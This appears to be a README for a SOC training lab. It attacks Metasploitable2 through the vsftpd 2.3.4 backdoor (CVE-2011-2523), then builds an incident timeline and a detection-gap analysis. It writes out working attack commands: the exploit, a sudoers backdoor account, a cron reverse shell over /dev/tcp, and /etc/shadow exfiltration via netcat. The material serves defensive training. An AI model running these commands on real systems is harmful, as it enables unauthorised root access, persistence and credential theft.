
End-to-end SOC investigation: CVE-2011-2523 kill chain, multi-source log correlation, incident report — MITRE ATT&CK T1190
Executes a complete four-phase attack chain (Reconnaissance → Exploitation → Persistence → Exfiltration) against Metasploitable2, collects evidence at each phase, and produces a structured incident timeline and SOC report — demonstrating simultaneous attacker and defender thinking.
This is the capstone project. It demonstrates the ability to:
The exploit used (CVE-2011-2523 — vsftpd 2.3.4 backdoor) is historically significant: it was a supply-chain attack where an adversary injected a backdoor into the open-source vsftpd package source repository.
╔═══════════════════════════════╗
║ soc-lab (172.23.0.0/24) ║
║ ║
┌─────────────┐ ║ ┌─────────────────────────┐ ║
│ Attacker │ ║ │ Metasploitable2 │ ║
│ Kali Linux │ ║ │ 172.23.0.200 │ ║
│ │ ║ │ │ ║
│ Phase 1 │─────╫─►│ :21 vsftpd 2.3.4 ◄───╫──╫── CVE-2011-2523
│ nmap -A │ ║ │ :22 SSH │ ║ backdoor on :6200
│ │ ║ │ :80 HTTP (DVWA) │ ║
│ Phase 2 │─────╫─►│ :445 Samba │ ║
│ msf exploit│◄────╫──│ :6200 root shell │ ║
│ │ ║ └─────────────────────────┘ ║
│ Phase 3 │─────╫─► useradd sysbackup ║
│ persistence│─────╫─► crontab reverse shell ║
│ │ ║ ║
│ Phase 4 │◄────╫── /etc/shadow via nc :5555 ║
│ exfiltration ╚═══════════════════════════════╝
└──────┬──────┘
│
│ Evidence collection:
│ logs/msf_session.log
│ logs/target_auth.log
│ captures/full_attack_chain.pcap (tshark CSV)
▼
┌──────────────────────────────────────────────────┐
│ build_timeline.py │
│ Parser: MSF log + auth.log + tshark CSV │
│ → merge by timestamp → tag by phase │
│ → JSON timeline + Markdown incident report │
└──────────────────────────────────────────────────┘
cd docker/
# Start Metasploitable2 (isolated network)
docker compose up -d metasploitable
# Verify target is reachable
nmap -p 21,22,80 172.23.0.200
# Start background packet capture
sudo tcpdump -i eth0 host 172.23.0.200 \
-w captures/full_attack_chain.pcap &
nmap -sV -O -A \
-p 21,22,80,139,445,3306,5432 \
--script=banner,ftp-anon,http-title \
-oX logs/recon_scan.xml \
172.23.0.200
Key finding: 21/tcp open ftp vsftpd 2.3.4
# Method A: Metasploit
msfconsole -q -x "
use exploit/unix/ftp/vsftpd_234_backdoor;
set RHOSTS 172.23.0.200;
set PAYLOAD cmd/unix/interact;
run" | tee logs/msf_session.log
# Method B: Manual (demonstrates the mechanism)
# Step 1: Trigger backdoor by sending username with ':)'
printf "USER evil:)\r\nPASS x\r\n" | nc 172.23.0.200 21
# Step 2: Connect to spawned root shell
nc 172.23.0.200 6200
# → id: uid=0(root) gid=0(root)
Why this works: When vsftpd 2.3.4 receives a username containing the
substring :), the daemon executes execl("/bin/sh",...) bound to TCP port 6200.
No authentication required — direct root shell.
# Execute in the root shell on target:
useradd -m -s /bin/bash sysbackup
echo "sysbackup:$(openssl passwd -1 secr3t)" >> /etc/passwd
echo "sysbackup ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers
(crontab -l 2>/dev/null; echo "* * * * * bash -i >& /dev/tcp/172.23.0.1/9999 0>&1") | crontab -
# Receiver (attacker)
nc -lvnp 5555 > samples/exfiltrated_shadow.txt
# Sender (on target)
cat /etc/shadow | nc 172.23.0.1 5555
# Convert PCAP to CSV first
bash ../02-network-recon-detection/src/pcap_to_siem.sh captures/full_attack_chain.pcap
# Build timeline from all sources
python3 src/build_timeline.py \
--msf-log logs/msf_session.log \
--auth-log logs/target_auth.log \
--pcap-csv captures/full_attack_chain_packets.csv \
--output-json samples/timeline.json \
--output-md docs/incident_report.md \
--pretty
build_timeline.py stderr2026-04-24T16:05:20 [INFO ] Parsed 9 events from MSF log
2026-04-24T16:05:20 [INFO ] Parsed 11 events from auth.log
2026-04-24T16:05:20 [INFO ] Parsed 4 flow-initiation events from PCAP CSV
2026-04-24T16:05:20 [INFO ] Total events (sorted): 24
2026-04-24T16:05:20 [INFO ] Unique IOCs extracted: 4
2026-04-24T16:05:20 [INFO ] Phase RECON : 8 event(s)
2026-04-24T16:05:20 [INFO ] Phase EXPLOIT : 4 event(s)
2026-04-24T16:05:20 [INFO ] Phase PERSIST : 6 event(s)
2026-04-24T16:05:20 [INFO ] Phase EXFIL : 2 event(s)
samples/sample_timeline.json){
"total_events": 24,
"iocs": [
{ "indicator": "172.23.0.1", "phase": "RECON", "occurrence": 8 },
{ "indicator": "172.23.0.1", "phase": "EXPLOIT", "occurrence": 2 },
{ "indicator": "sysbackup", "phase": "PERSIST", "occurrence": 1 }
],
"timeline": [
{ "timestamp": "2026-04-24T14:10:05+00:00", "phase": "RECON", "description": "nmap -sV -O -A", "source": "metasploit" },
{ "timestamp": "2026-04-24T14:22:41+00:00", "phase": "EXPLOIT", "description": "session 1 opened (172.23.0.1 → 172.23.0.200)", "source": "metasploit" },
{ "timestamp": "2026-04-24T14:28:07+00:00", "phase": "PERSIST", "description": "useradd: new user: name=sysbackup", "source": "auth_log" },
{ "timestamp": "2026-04-24T14:35:52+00:00", "phase": "EXFIL", "description": "flow 172.23.0.200 → 172.23.0.1:5555", "source": "pcap" }
]
}
This is the most important analytical output — what would have been missed without proper detection.
Critical finding: The vsftpd 2.3.4 exploit leaves no entry in auth.log because it bypasses the login subsystem. The only log evidence is the subsequent TCP connection to port 6200 — invisible without network telemetry. Endpoint logs alone cannot detect this attack class.
04-soc-investigation/
├── src/
│ ├── build_timeline.py # Multi-source log merger + phase tagger
│ └── run_attack_chain.sh # Step-by-step attack chain with exact commands
├── configs/
│ └── splunk_detection_rules.spl # Phase-specific SPL queries (RECON/EXPLOIT/PERSIST/EXFIL)
├── samples/
│ └── sample_timeline.json # Example incident timeline JSON
├── docker/
│ └── docker-compose.yml # Metasploitable2 isolated target
├── docs/
│ └── incident_report.md # Generated SOC report (build_timeline.py --output-md)
└── screenshots/
| Tool | Purpose |
|---|
| Metasploitable2 | Deliberately vulnerable Linux target |
| Nmap 7.94 | Phase 1: Service enumeration |
| Metasploit 6.x | Phase 2: vsftpd 2.3.4 exploit |
| Netcat | Phase 3–4: Persistence + exfiltration |
| tshark | Packet capture throughout all phases |
| Python 3 | build_timeline.py — multi-source log merger |
| Splunk Free / ELK | Phase-specific SIEM detection |
| Phase | Raw Log Evidence | Caught by SIEM Rule | Missed Without Coverage |
|---|
| RECON | PCAP: SYN flood to 24 ports | Port sweep rule (>20 ports/10s) ✓ | Slow scan (-T1): evades rate threshold entirely |
| EXPLOIT | PCAP: new connection to :6200 · No auth.log entry | Port :6200 anomaly rule ✓ | If attacker used HTTP exploit on :80 — no port anomaly |
| PERSIST | auth.log: new user: name=sysbackup | New user creation alert ✓ | Direct /etc/passwd edit: zero logging without auditd |
| EXFIL | PCAP: 4 KB outbound on :5555 | Non-standard port + size rule ✓ | DNS exfiltration (TXT records): bypasses volume rules entirely |
| Limitation | Impact | Mitigation |
|---|
| vsftpd 2.3.4 is a 2011 vulnerability | Not representative of modern exploits | Add EternalBlue (MS17-010) as alternative exploit scenario |
build_timeline.py uses keyword classification | Misclassifies some events | Train a lightweight NLP classifier on labeled log data |
| No endpoint detection (EDR) | File-level persistence (authorized_keys) not captured | Add Wazuh or Elastic Agent on target |
| Manual attack chain execution | Not reproducible without interactive intervention | Automate Phase 2–4 with Metasploit resource scripts |
| Reference | ID / Link |
|---|
| CVE-2011-2523 — vsftpd 2.3.4 backdoor | https://nvd.nist.gov/vuln/detail/CVE-2011-2523 |
| MITRE ATT&CK — Exploit Public-Facing Application | T1190 |
| MITRE ATT&CK — Create Account: Local Account | T1136.001 |
| MITRE ATT&CK — Scheduled Task/Job: Cron | T1053.003 |
| MITRE ATT&CK — Exfiltration Over C2 Channel | T1041 |
| MITRE ATT&CK — Valid Accounts | T1078 |